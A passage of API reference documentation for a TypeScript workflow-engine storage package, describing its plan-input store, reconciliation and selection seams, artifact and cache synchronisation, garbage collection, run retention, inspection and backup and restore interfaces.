merge-like names/bodies or backfill an unknown version by guessing.

## PlanInputStore

Authoritative, append-only source observations for compiled plan execution.
Compose `PlanInputStore.layer` over the **same** `SqlClient` and `DurableWriter`
as the run, attempt, plan, and journal stores, with `Crypto`. The layer does not
run migrations. `TestStores.layer` and `layerAt` include it.

| Export                             | Contract                                                                                                                                                         |
| ---------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Address`                          | `{ runId, planId, baseDigest, environmentDigest, generation }`; derive the environment digest with `StepKey.environmentIdentity(environment)`.                   |
| `Snapshot`                         | Version 1; generation; node IDs/keys and each read declaration's frozen source paths; newly pinned `{ path, digest }` entries.                                   |
| `get(address, owner)`              | Returns the recorded snapshot or `None` for the next generation. Refuses enclosing SQL transactions so execution cannot consume speculative state.               |
| `record(address, snapshot, owner)` | First-writer-wins; returns the winning snapshot. Consecutive generations only. Can join a transaction, whose outer commit the caller must await before dispatch. |
| `make`, `layer`, `PlanInputStore`  | SQL constructor, layer, and service tag. No memory/cache fallback.                                                                                               |
| `maximumSnapshotCharacters`        | 16 Mi JavaScript string code units per encoded generation, checked before persisted JSON is decoded.                                                             |

Reads and writes validate ownership and absent cancellation within the owning
write transaction. Snapshot rows are checksummed, versioned, schema-validated,
and immutable; the scheduler additionally checks node declarations, file-version
selection, and pin consistency before using them. Checksums detect corruption,
not unauthorized database modification. Rows are retained until their owning
run is collected; they are not subject to cache eviction or journal redaction.

`PlanInputError.code` distinguishes `invalid_input`, `corrupt_state`,
`incompatible_state`, `fence_lost`, `transaction_open`, and `persistence_failed`.
The scheduler self-interrupts on fence loss and otherwise exposes the typed
cause through `SchedulerError` with `store_failed`.

Migration `engine-store/0003_plan_inputs` marks runs that already had attempts
before durable observations existed. Such runs cannot safely enter the new
compiled scheduler: their original sources may have been overwritten. Finish
them on the previous runtime before upgrading, or make an explicit operator
recovery decision and start new work under a new run ID. Do not delete the
legacy marker or retry an uncertain irreversible effect blindly.

Migration `engine-store/0004_plan_environment` adds the environment binding.
Existing observation heads keep an unknown (`NULL`) environment and are refused;
the migration never guesses from the current process. New heads require a
non-empty, immutable fingerprint. Earlier snapshots and attempts remain intact.

## Reconciliation

[src/Reconciliation.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/Reconciliation.ts)

The pluggable seam for when the world disagrees with the declaration. It is the
first consumer `flows.engine.expected-set-deviation` has had.

```ts
interface Service {
  readonly onDeviation: (deviation: Deviation) => Effect<Verdict>
  readonly onConflict: (conflict: Conflict) => Effect<Verdict>
}
```

| Export                  | Signature                                     | Meaning                             |
| ----------------------- | --------------------------------------------- | ----------------------------------- |
| `Reconciliation`        | `Context.Service<Service>`                    | Service tag.                        |
| `make`                  | `(service: Service) => Service`               | Names an implementation.            |
| `layer`                 | `(service: Service) => Layer<Reconciliation>` | Installs one.                       |
| `makeDefault`           | `() => Service`                               | The deterministic verdict function. |
| `layerDefault`          | `Layer<Reconciliation>`                       | Installs it.                        |
| `Deviation`, `Conflict` | schemas                                       | What the scheduler reports.         |
| `Verdict`               | schema                                        | `Fail`, `Reorder`, or `FactorOut`.  |

`layerDefault` answers in one order of preference: `Reorder` when every
undeclared path is one another plan node declares it writes, `FactorOut` when
another node in the same run deviated on exactly the same paths, and `Fail`
otherwise. A conflict the runtime strategy could not absorb always fails, because
choosing a winner between two landings is a semantic judgement this default does
not have the material to make.

The scheduler attributes every deviation on a journal page before judging any of
it, so two steps that produced the same undeclared paths both see each other.
Pluggability is dependency injection at the owning seam; there is no hook
kernel. A model-backed reconciler is a different `Layer` and lives in the agent
packages: this package has no model dependency and must not grow one.

## Selection

[src/Selection.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/Selection.ts)

The advisory scheduler seam. It may return `Admit`, `Defer`, or `Propose`
verdicts for sink candidates and missing flows, and never changes a step key, a
cache row, or a correctness decision.

| Export                             | Signature                                                                                  | Meaning                                     |
| ---------------------------------- | ------------------------------------------------------------------------------------------ | ------------------------------------------- |
| `Selection`                        | `Context.Service<Service>`                                                                 | Service tag.                                |
| `Service`                          | `{ select: (input: Input) => Effect<ReadonlyArray<Selected>> }`                            | One verdict per candidate.                  |
| `make`                             | `(service: Service) => Service`                                                            | Names an implementation.                    |
| `layer`                            | `(service: Service) => Layer<Selection>`                                                   | Installs one.                               |
| `makeNoop` / `layerNoop`           |                                                                                            | Admits everything. The behavioral default.  |
| `makeHeuristic` / `layerHeuristic` |                                                                                            | Pure glob matching over live edges.         |
| `debt`                             | `(runId: string, options?: DebtOptions) => Effect<ReadonlyArray<DebtEntry>, ..., Journal>` | Folds the journal for unpaid deferrals.     |
| `risk`                             | `(input: { changed, beliefs }) => Risk`                                                    | A pure annotation, never a gate.            |
| `card`                             | `(input: CardInput) => ReadonlyArray<string>`                                              | Renders the plan card, one string per line. |
| `proposeReadSet`                   | `(input: { beliefs, flow, paths }) => ReadonlyArray<string>`                               | The `boundaryMode: "expected"` feeder.      |

### Schemas and models

| Export               | Shape                                                                                     |
| -------------------- | ----------------------------------------------------------------------------------------- |
| `SuspectedEdge`      | `{ scope, affects, confidence, validFromMs, evidence }`                                   |
| `BeliefSnapshot`     | `{ pinnedAtMs, edges }`                                                                   |
| `Verdict`            | `Admit`, `Defer { edge, likelihood }`, or `Propose { flow, edge, confidence }`            |
| `Policy`             | `{ deferBelow }`. Zero defers nothing; a likelihood exactly at the threshold is admitted. |
| `Candidate`          | `{ nodeId, planKey, stats? }`                                                             |
| `Input`              | `{ changed, sinks, present, beliefs, policy }`                                            |
| `Selected`           | `{ nodeId, verdict }`                                                                     |
| `DebtEntry`          | `{ planId, nodeId, planKey, edge, likelihood, seq }`                                      |
| `DebtOptions`        | `{ repaidBy? }`                                                                           |
| `Risk`               | `{ level: "low" \| "medium" \| "high", reasons }`                                         |
| `CardInput`          | `{ settlements, deferrals, proposals, cadence, risk? }`                                   |
| `NonNegativeSafeInt` | the epoch and counter schema both public schemas and SQLite accept                        |

`layerHeuristic` matches live edges (`validFromMs <= pinnedAtMs`): a matching
edge supplies the likelihood, a sink can defer only when a live edge names it,
and a `Candidate.stats` failure ratio raises the likelihood so flaky sinks stay
inline. Stats alone never defer. A model-backed layer is out of scope, because
`engine-store` must not depend on a model.

`risk` returns `high` at confidence at or above 0.7, `medium` at or above 0.4,
otherwise `low`, with each reason named `<scope> -> <affects> (<confidence>)`.
`card` row strings are stable: `clean` renders as `cached` and `built` as
`run`.

Out of scope here: CLI verbs, approval routing, auto-appending proposals, and
the recertification cadence, which is a product concern rather than a store
primitive.

Full guide: [Defer work with selection beliefs](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/defer-work-with-selection.md).

## SelectionStore

[src/SelectionStore.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/SelectionStore.ts)

The durable suspected-edge store, tagged `@smthrs/engine-store/SelectionStore`.

| Export                | Signature                                                                                                          | Meaning                                         |
| --------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------- |
| `SelectionStore`      | `Context.Service<Service>`                                                                                         | Service tag.                                    |
| `make`                | `Effect<Service, never, DurableWriter \| SqlClient>`                                                               | Builds it through this package's migration set. |
| `layer`               | `Layer<SelectionStore, never, DurableWriter \| SqlClient>`                                                         | Provides it.                                    |
| `maxEvidenceEntries`  | `128`                                                                                                              | Newest evidence entries retained per edge.      |
| `TrainingOutcome`     | `"hit" \| "miss"`                                                                                                  |                                                 |
| `TrainingObservation` | `{ scope, affects, outcome }`                                                                                      |                                                 |
| `SelectionStoreError` | `code` of `invalid_input`, `decode_failed`, or `persistence_failed`, plus optional `scope`, `affects`, and `cause` |                                                 |

`upsert(edges)` inserts or replaces by `(scope, affects)`. `list()` returns
every edge. `snapshot()` pins the injected clock's current time, never
`Date.now()`. `train(observations)` updates only matching edges in one
transaction, ignores unknown pairs, appends every observation to evidence, and
applies the asymmetric rule: a hit becomes `confidence + 0.05 * (1 -
confidence)`, a miss becomes `confidence * 0.5`. Training never creates edges
and never writes journal records.

## ArtifactSync

[src/ArtifactSync.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/ArtifactSync.ts)

The two-tier artifact protocol, and the seam a shared-cache composition injects
into.

| Export                      | Signature                                                                                               | Meaning                                                                                  |
| --------------------------- | ------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `ArtifactSync`              | `Context.Service<Service>`                                                                              | Service tag.                                                                             |
| `makeLocal`                 | `() => Service`                                                                                         | Publish is a no-op; hydrate reports nothing arrived. The default when the tag is absent. |
| `layerLocal`                | `Layer<ArtifactSync>`                                                                                   | Provides it.                                                                             |
| `make`                      | `(options: { local, remote, downloadPolicy? }) => Service`                                              | The two-tier protocol.                                                                   |
| `layer`                     | `(remote: Effect<ArtifactStore.Service, E, R>, options?) => Layer<ArtifactSync, E, ArtifactStore \| R>` | Takes the local tier from the `ArtifactStore` tag and the shared tier from the effect.   |
| `DownloadPolicy`            | `RemoteArtifacts.DownloadPolicy`                                                                        | `all`, `toplevel`, or `minimal`.                                                         |
| `ArtifactPublicationFailed` | `code: "artifact_publication_failed"`, fields `digests`, `message`, optional `cause`                    |                                                                                          |

`publish(digests)` runs `findMissing` on the shared tier, uploads what is
missing, and re-probes to confirm. The engine calls it immediately before the
transaction that records the cache entry, and never inside it: this
is Bazel's REAPI ordering constraint, because a result accessed before its blobs
are present cannot be validated. A publication that cannot make the artifacts
durable fails and the shared entry is withheld.

`hydrate(digests)` establishes that this host can resolve every referenced
artifact and reports whether the replay is now worth retrying. It never fails a
run: a shared tier that is down must not stop work that can simply be done. A
downloaded blob counts only when this host's store files it under the requested
digest, so a shared tier that serves the wrong bytes costs the replay, never
its correctness.

The two tiers cannot both be layers, because they inhabit the same tag and
composing them would shadow one with the other.

### DownloadPolicy

Declared on the shared tier as `RemoteArtifacts.Options.downloadPolicy` and read
from the store `make` was handed, so one deployment setting reaches both seams.
An explicit `downloadPolicy` on `make` or `layer` overrides it.

| Policy          | `hydrate` behavior                                                                                                                                                                              |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `all` (default) | Downloads every referenced artifact into this host's store while admitting the replay. Every later read is local, and a shared tier that goes down afterwards costs nothing.                    |
| `toplevel`      | Downloads nothing. One batched `findMissing` establishes that the shared tier can serve what is missing, and `CombinedArtifacts.get` fetches and writes back the blobs a reader actually reads. |
| `minimal`       | The same probe and the same zero downloads; `CombinedArtifacts.get` then serves without writing back, so this host never accumulates other machines' artifacts.                                 |

The two lazy policies are sound only when the store the replay reads through can
reach the shared tier, which means `CombinedArtifacts` with the same remote
tier. A tier that refuses the probe is indistinguishable from one that holds
nothing, so the replay is refused either way and the step executes.

## CacheSync

[src/CacheSync.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/CacheSync.ts)

The second half of the ordering constraint: the shared step-result tier's `put`,
run after the transaction that made the local row durable.

| Export       | Signature                                                                                        | Meaning                                                             |
| ------------ | ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------- |
| `CacheSync`  | `Context.Service<Service>`                                                                       | Service tag.                                                        |
| `Service`    | `{ publishEntry: (entry: CacheStore.CacheEntry) => Effect<Option<CacheStore.CacheStoreError>> }` | `none` means shared, `some(error)` means not, and why.              |
| `makeLocal`  | `() => Service`                                                                                  | The single-tier implementation. The default when the tag is absent. |
| `layerLocal` | `Layer<CacheSync>`                                                                               | Provides it.                                                        |
| `make`       | `(options: { remote: CacheStore.Service }) => Service`                                           | Publishes to a shared store, typically `RemoteCacheStore`.          |
| `layer`      | `(remote: Effect<CacheStore.Service, E, R>) => Layer<CacheSync, E, R>`                           | Provides it.                                                        |

It is a separate seam from the `CacheStore` tag because of where the local row
is written. The engine commits the cache row and the journal record explaining
it in one `DurableWriter` transaction, and nothing that is not
storage work may be held across one: a `CacheStore` whose `put` also wrote a
shared HTTP tier would put a network round trip inside that transaction,
blocking every other writer for its duration and rolling the local row back
whenever a shared cache was unreachable. Compose it with `CombinedCacheStore` in
`"deferred"` publication mode; lookups stay read-through either way.

A `Conflict` from the shared tier is not reported: it means another machine
recorded the key first, which is the first-writer-wins outcome the shared tier
exists to arbitrate.

Neither publication step can fail a run. Both run after `attempts.finish`, so
the result is already durably recorded on this host. A refusal withholds the
shared copy, never the local row, and journals a `cache-provenance` record with
`action: "unpublished"` carrying the stage (`artifacts` or `entry`) and the
reason.

## ArtifactGc

[src/ArtifactGc.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/ArtifactGc.ts)

Explicit mark and sweep collection of unreferenced blobs. Collection never runs
automatically; [`smthrs gc`](/docs/reference/cli/gc/) runs it after retention.

| Export             | Signature                                                                                     | Meaning                                                 |
| ------------------ | --------------------------------------------------------------------------------------------- | ------------------------------------------------------- |
| `ArtifactGc`       | `Context.Service<Service>`                                                                    | Service tag.                                            |
| `Service`          | `{ gc: (options?: GcOptions) => Effect<GcReport, ArtifactGcError> }`                          | Marks the live set from the durable roots, then sweeps. |
| `make`             | `(options?: MakeOptions) => Effect<Service, never, SqlClient \| ArtifactSweep>`               | Builds the collector.                                   |
| `layer`            | `(options?: MakeOptions) => Layer<ArtifactGc, never, SqlClient \| ArtifactSweep>`             | Provides it.                                            |
| `layerFileSystem`  | `(options?: MakeOptions & SweepOptions) => Layer<ArtifactGc, never, SqlClient \| FileSystem>` | Provides it over a filesystem objects directory.        |
| `ArtifactGcPolicy` | `Context.Service<Policy>`                                                                     | The opt-in collection policy.                           |
| `layerPolicy`      | `(policy: Policy) => Layer<ArtifactGcPolicy>`                                                 | Installs it.                                            |
| `defaultGraceMs`   | 14 days                                                                                       | Git's `gc.pruneExpire` default.                         |
| `ArtifactGcError`  | `code` of `invalid_options`, `mark_failed`, or `sweep_failed`                                 |                                                         |

| Type          | Fields                                                                                                             |
| ------------- | ------------------------------------------------------------------------------------------------------------------ |
| `MakeOptions` | `pageSize`, rows per mark-phase page. Defaults to 500.                                                             |
| `Policy`      | `graceMs?`, and `pins?` as an `Effect<ReadonlyArray<string>>` resolved fresh on every collection.                  |
| `GcOptions`   | `graceMs?`, `pins?`, `dryRun?`. Explicit options override the installed policy; the policy overrides the defaults. |
| `GcReport`    | `scannedBlobs`, `liveDigests`, `sweptDigests`, `reclaimedBytes`, `keptByGrace`, `dryRun`                           |

The mark is fail-safe: a root row carrying boundary evidence this build cannot
decode aborts the collection rather than contributing nothing. Attempt
checkpoints are also live roots, with digest-shaped strings retained
conservatively. The live set is computed before the inventory, so a root
recorded during the sweep can only be missed, never half seen, and the blob such
a root references is protected by the mtime fence anyway.

Full guide: [Collect unreferenced artifacts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/collect-unreferenced-artifacts.md).

## StepCacheFold

[src/StepCacheFold.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/StepCacheFold.ts)

`flows_step_cache` heads as a fold of the journal. Drop the heads and
`rebuild` writes them back from the retained `cache-provenance` entries.

| Export            | Signature                                                                                                   | Meaning                                                    |
| ----------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------- |
| `rebuild`         | `() => Effect<Rebuilt, JournalError \| CacheStoreError \| SqlError, Journal \| SqlClient \| DurableWriter>` | Folds every run's retained entries and replaces the heads. |
| `reduce`          | `(state: State, entry: JournalEvent.Entry) => State`                                                        | Folds one entry.                                           |
| `initial`         | `State`                                                                                                     | The empty fold.                                            |
| `projection`      | `Projection<State>`                                                                                         | The same fold for `Journal.project` over one run.          |
| `candidates`      | `(state: State) => ReadonlyArray<CacheStore.RecordedRef>`                                                   | The head each key may be rebuilt with.                     |
| `refId`           | `(ref: CacheStore.RecordedRef) => string`                                                                   | A recorded row's stable identity.                          |
| `eventType`       | `"flows.engine.cache-provenance"`                                                                           | The entries the fold reads.                                |
| `retiringActions` | `["expired", "stale_read_set", "replay_failed"]`                                                            | Provenance actions that retire the row they name.          |

| Type      | Fields                                                              |
| --------- | ------------------------------------------------------------------- |
| `State`   | `admitted` and `retired`: the rows `put` inserted, the ones evicted |
| `Rebuilt` | `runs`, `compacted`, `rewound`, `admitted`, `retired`, `heads`      |

A `put` that inserts a head journals an `admitted` entry naming its row in the
same transaction. A duplicate or a losing conflict writes a ledger row but no
`admitted` entry. These entries retire the row they name:

| Entry                       | Why the row cannot serve                           |
| --------------------------- | -------------------------------------------------- |
| `expired`, `stale_read_set` | The engine evicted it.                             |
| `replay_failed`             | The engine may have quarantined it for corruption. |

A producer slot keeps the first `replay_failed` reason it journalled, so a
corruption can hide behind an earlier host failure; the fold retires the row on
any reason, and a row whose replay failed only on the host is a miss.

A key with one admitted row that no entry retired gets that row back as its
head. A key with several gets no head: one of them left without a journal
entry, such as by `sweepExpired`, and the journal cannot say which one the
store held. The journal holds provenance, not results: the result stays in the
ledger row the entry addresses, because the journal is redacted and replayed
to sync subscribers.

A rebuild writes a subset of the live heads. It drops heads with no local
entry, such as shared-tier write-backs. A store with a compacted run, or one where
any run was ever rewound, gets no heads, because compaction and rewind may have
deleted the eviction that retired a row. Retention is not yet covered: it
deletes a run's entries and compaction floor, so a rebuild after retention can
restore a row a deleted run evicted. A single admitted row that `sweepExpired`
or an operator `evict` removed also returns; every restored hit still passes
the engine's age, read-set, and digest checks. Run it on a
quiescent store: a write between the journal read and the rewrite is missed.

## Retention

[src/Retention.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/Retention.ts)

Explicit deletion of finished run state. Nothing schedules any of it.

| Export             | Signature                                                                                      | Meaning                                                                  |
| ------------------ | ---------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
| `Retention`        | `Context.Service<Service>`                                                                     | Service tag.                                                             |
| `Service`          | `{ retain: (options: RetainOptions) => Effect<RetainReport, RetentionError \| JournalError> }` | One bounded pass inside one `journal.transact`.                          |
| `make`             | `Effect<Service, never, SqlClient \| Journal>`                                                 | Builds it.                                                               |
| `layer`            | `Layer<Retention, never, SqlClient \| Journal>`                                                | Provides it.                                                             |
| `collect`          | `(options: Options) => Effect<Report, SqlError \| RetentionError, SqlClient>`                  | The host-facing pass, over one database file.                            |
| `eligible`         | `(olderThanMs: number, limit?: number) => Effect<ReadonlyArray<string>, SqlError, SqlClient>`  | The candidate run ids, oldest first.                                     |
| `defaultLimit`     | `1000`                                                                                         | Runs deleted by one pass when the caller names no bound.                 |
| `terminalStatuses` | `["completed", "failed", "cancelled"]`                                                         | The statuses a run can never leave.                                      |
| `runScopedTables`  | `ReadonlyArray<RunScopedTable>`                                                                | Every table a deleted run leaves rows in, and the column naming the run. |
| `RetentionError`   | `code` of `scan_failed` or `delete_failed`                                                     |                                                                          |

| Type                      | Fields                                                                                                                                                                                                                                                     |
| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `RetainOptions`           | `olderThanMs` (a duration: how long a run must have been finished), `limit?`, `dryRun?`. A negative `olderThanMs` is read as zero; a `limit` that is not a non-negative safe integer is read as zero.                                                      |
| `RetainReport`            | `cutoffMs`, `runIds`, `retainedForLiveDescendants`, `retainedForLiveAncestors`, `runs`, `attempts`, `clockDeadlines`, `deferredCompletions`, `journalEntries`, `journalCheckpoints`, `journalIdentities`, `archiveEntries`, `timeTravelReceipts`, `dryRun` |
| `Options` (for `collect`) | `olderThanMs` (an absolute epoch millisecond threshold), `dryRun?`, `database?`, `limit?`, `pins?`                                                                                                                                                         |
| `Report` (from `collect`) | `database`, `olderThanMs`, `runs`, `deleted` (empty under a dry run), `dryRun`                                                                                                                                                                             |

A run is a candidate only when its status is terminal and it finished before the
cutoff, and it is retained whenever a live run stands above or below it in the
lineage, over both the `flows_run_parents` edge a spawned child records and the
`parent_run_id` column a trampoline lineage is chained through. `collect` runs
the same deletion and the same guard, and drops the edge-table half of the walk
for a database that does not carry it, such as the control plane's.

Both passes select children before parents, so a trampoline lineage longer
than `limit` still loses at least one run every pass.

`collect` is the pass [`smthrs gc`](/docs/reference/cli/gc/) runs over one database file.

Full guide: [Delete old run history](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/delete-old-run-history.md).

The host-facing `collect` also accepts `pins`, a list of run IDs required by
live ancestry in another store. Pinned runs and their continuation ancestors
are excluded before the bounded candidate window, so protected history cannot
starve collection of unrelated terminal runs.

## ExecutionSnapshot

Execution snapshot reads validate the batch source and safe non-negative revisions,
return exactly one row per requested ID in request order (including duplicates),
and require every row to share the batch source and have a revision no greater
than the batch watermark. Incoherent batches fail with `RunStoreError` and
`persistence_failed`; malformed stored fields retain `decode_failed`.

The engine-owned read port, exported from the root and
`@smthrs/engine-store/ExecutionSnapshot`. Its `make()` and `layer` require
`SqlClient` with the engine migrations applied.

| Export                                   | Contract                                                                                                                                                                                                                        |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ExecutionSnapshot`, `Service`           | Service tag and its `read` and `related` operations.                                                                                                                                                                            |
| `Service.read(runIds)`                   | Coherent `Batch` for up to `maximumBatchSize` (200) IDs, preserving request order and duplicates.                                                                                                                               |
| `withReadTransaction(sql, effect)`       | `@smthrs/database`'s `Dialect.readTransaction`: one read transaction without writer admission, deferred on SQLite and `REPEATABLE READ READ ONLY` on PostgreSQL. An existing transaction retains its caller-selected isolation. |
| `Service.related(options)`               | Bounded `RelatedPage` of direct durable children or lineage rounds, with the requested anchor.                                                                                                                                  |
| `Position`                               | Durable database `source` and monotonic `revision`.                                                                                                                                                                             |
| `Snapshot`, `Observed`, `Missing`        | Explicit observed execution or absence, including deletion evidence.                                                                                                                                                            |
| `Waiting`                                | Timer, signal, approval, quota, human, or other reason, with wake time and SHA-256 `tokenDigest`.                                                                                                                               |
| `Batch`, `RelatedOptions`, `RelatedPage` | Source watermark, scoped results, relation selector, and optional continuation.                                                                                                                                                 |
| `isNewer(incoming, stored)`              | True only for the same source with a greater revision.                                                                                                                                                                          |

The requested run's lifecycle remains round scoped. Intent and the first owner's
cancellation acknowledgement are separate fields. Observation failures use
`RunStoreError` with causes preserved. `withReadTransaction` also preserves SQL
transaction admission errors; interruption releases the read transaction.

## RunChangeFeed

Exported from the root and `@smthrs/engine-store/RunChangeFeed`. `make()` and
`layer` require a migrated `SqlClient`; `RunChangeFeed` is the service tag.

`Service.current` reads a `Position`.
`Service.changesSince({ source, revision, limit })` returns a `Page` containing
`Change` entries, the observed source watermark, `nextRevision`, and `hasMore`.
The allowed limit is 1 through `maximumPageSize` (1,000). Changes are coalesced
per run ID and ordered by revision. Tombstones persist indefinitely, including
after ordinary run retention, so an offline consumer can resume its checkpoint.
Source replacement or an ahead-of-source checkpoint fails with `invalid_run`.

## RunInspection

[src/RunInspection.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/RunInspection.ts)

One run as a person debugging it reads it, from the engine's own tables
(`flows_runs`, `flows_attempts`, `flows_run_parents`, `flows_journal_events`).
Exported from the root and `@smthrs/engine-store/RunInspection`. Every read runs
in one `Dialect.readTransaction`, on SQLite and PostgreSQL alike.

| Export                                                                                               | Signature                                                                     | Meaning                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `RunInspection`, `Service`                                                                           | `Context.Service<Service>`                                                    | Service tag and its `inspect`, `list` and `payload` operations.                                                                                                                          |
| `Service.inspect(runId, { afterSeq?, limit? })`                                                      | `Effect<Inspection, RunNotFound \| RunStoreError>`                            | The run with its `input` and `result`, its `steps`, its `children`, and the journal page after `afterSeq` (default `-1`), at most `limit` events (default and most 500).                 |
| `Service.list({ limit?, cursor?, roots? })`                                                          | `Effect<RunList, RunStoreError>`                                              | Runs newest first, 50 at a time by default and 200 at most; `roots`, the default, keeps the runs with no parent. A malformed cursor is `invalid_run`.                                    |
| `Service.payload(runId)`                                                                             | `Effect<{ flowName, payload }, RunNotFound \| RunStoreError>`                 | The run's payload as the engine stored it: encoded and unredacted, to run the flow again inside the engine. Never put it on a wire or in front of a reader.                              |
| `make(options?)`, `layer`, `layerWith(options)`                                                      | `Effect<Service, never, SqlClient>`, `Layer<RunInspection, never, SqlClient>` | Build it over a migrated `SqlClient`. `layerWith({ flows })` shows every value whose flow or action is reachable from `flows` through its schema.                                        |
| `Options`                                                                                            | `{ flows? }`                                                                  | The flows whose schemas, and whose plans' action schemas, values show through: a `Schema.Redacted` value reads as `redactedMarker` at any depth, an undecodable one as `withheldMarker`. |
| `redactedMarker`, `withheldMarker`                                                                   | `"<redacted>"`, `"<withheld>"`                                                | What a `Redacted` value reads as, and what a value the reads cannot show safely reads as.                                                                                                |
| `holdsRedacted(schema)`                                                                              | `boolean`                                                                     | Whether a schema holds a `Schema.Redacted` value anywhere, recursive references included.                                                                                                |
| `Inspection`, `RunSummary`, `Step`, `Attempt`, `Child`, `Event`, `JournalPage`, `RunList`, `Waiting` | models                                                                        | See [Inspect one run](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/observe-executions.md#inspect-one-run-for-a-person).                                                                                                      |
| `Value`                                                                                              | `{ text, bytes, clipped }`                                                    | Redacted JSON text, cut to `valueLimitBytes` at a character boundary; `bytes` is the whole size.                                                                                         |
| `valueLimitBytes`, `maximumJournalPage`, `maximumListPage`, `maximumChildren`                        | `16384`, `500`, `200`, `200`                                                  | Bounds.                                                                                                                                                                                  |
| `valueOf(value)`, `clip(text)`, `codeOf(failure)`                                                    | pure                                                                          | How a value is released: failures reduced to codes, `Redaction.redact`, JSON, cut. `codeOf` reads only a failure's tag.                                                                  |
| `RunNotFound`                                                                                        | `{ runId }`, tag `@smthrs/engine-store/RunNotFound`                           | The engine holds no run with this id.                                                                                                                                                    |

## RunCatalogRead

[src/RunCatalogRead.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/RunCatalogRead.ts)

Bounded execution pages and the preserved polling run set for a
[`@smthrs/sync`](/docs/reference/api/sync/) `RunCatalog`.

| Export                       | Signature                                                                                                       | Meaning                                            |
| ---------------------------- | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------- |
| `RunCatalogRead`             | `Context.Service<Service>`                                                                                      | Service tag.                                       |
| `Service`                    | `listRunIds(options?)`, `listRuns(options?)`                                                                    | Polling IDs or a coherent filtered execution page. |
| `make`                       | `() => Effect<Service, never, SqlClient>`                                                                       | Builds it over `flows_runs`.                       |
| `layer`                      | `Layer<RunCatalogRead, never, SqlClient>`                                                                       | Provides it.                                       |
| `ListOptions`                | `{ limit? }`                                                                                                    | Defaults to `defaultLimit`.                        |
| `defaultLimit`               | `10000`                                                                                                         |                                                    |
| `Filters`                    | Schema and type for status, flow, effective parent, lineage/root, waiting reason, and inclusive creation range. | All predicates run in SQL before pagination.       |
| `ListRunsOptions`, `RunPage` | `{ filters?, cursor?, limit? }`, page results and source watermark                                              | Versioned source-bound keyset continuation.        |
| `maximumPageSize`            | `200`                                                                                                           | `listRuns` defaults to 100, without a total count. |
| `RunCatalogError`            | `invalid_options`, `invalid_cursor`, `source_changed`, `list_failed`                                            | Typed failures preserve causes.                    |

`listRunIds` reads a set rather than a cursor tail, so retention of a run removes it from
a follower's view. Rows come back newest first by rowid and are returned oldest
first. Nothing here polls: the interval belongs to `RunCatalog.makePolling`.

`listRuns` orders by immutable creation time plus run ID. It decodes only the
selected page plus one lookahead, with indexed ancillary reads scoped to those
rows. Numeric offsets are rejected. Successive pages use live keyset semantics;
each response is coherent at its own engine revision. Control-only admissions
and the control projection are a separate integration.

Full observation, listing, lag, retention, and cursor contract:
[Observe executions and page runs](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/docs/guides/observe-executions.md).

## DisasterRecovery

[src/DisasterRecovery.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/engine-store/src/DisasterRecovery.ts)

Hot backup, verification, restore, and restore-time fencing.

| Export            | Signature                                                                                                                       |
| ----------------- | ------------------------------------------------------------------------------------------------------------------------------- |
| `backup`          | `(options: BackupOptions<R, E>) => Effect<BackupManifest, DisasterRecoveryError \| E, SqlClient \| FileSystem \| Crypto \| R>`  |
| `verify`          | `(backupDirectory: string, options?: FileSizeOptions) => Effect<BackupManifest, DisasterRecoveryError, FileSystem \| Crypto>`   |
| `restore`         | `(options: RestoreOptions) => Effect<RestoredStore, DisasterRecoveryError, FileSystem \| Crypto>`                               |
| `fence`           | `(manifest: BackupManifest) => Effect<FenceSummary, DisasterRecoveryError, SqlClient \| DurableWriter>`                         |
| `restoreAndFence` | `(options: RestoreAndFenceOptions<R, E>) => Effect<FencedRestoredStore, DisasterRecoveryError \| E, FileSystem \| Crypto \| R>` |

| Constant                  | Value                                                                  |
| ------------------------- | ---------------------------------------------------------------------- |
| `databaseFileName`        | `store.sqlite3`                                                        |
| `manifestFileName`        | `manifest.json`, written last, so its presence marks a complete backup |
| `objectsDirectoryName`    | `objects`                                                              |
| `restoredMarkerFileName`  | `restored.json`                                                        |
| `defaultMaxFileSizeBytes` | 512 MiB                                                                |

| Type                           | Fields                                                                                                                                                                                                             |
| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `FileSizeOptions`              | `maxFileSizeBytes?`, a finite non-negative safe integer                                                                                                                                                            |
| `BackupOptions<R, E>`          | `directory`, `objectsDirectory?`, `snapshotDatabaseLayer`, plus `FileSizeOptions`                                                                                                                                  |
| `RestoreOptions`               | `backupDirectory`, `targetDirectory`, plus `FileSizeOptions`                                                                                                                                                       |
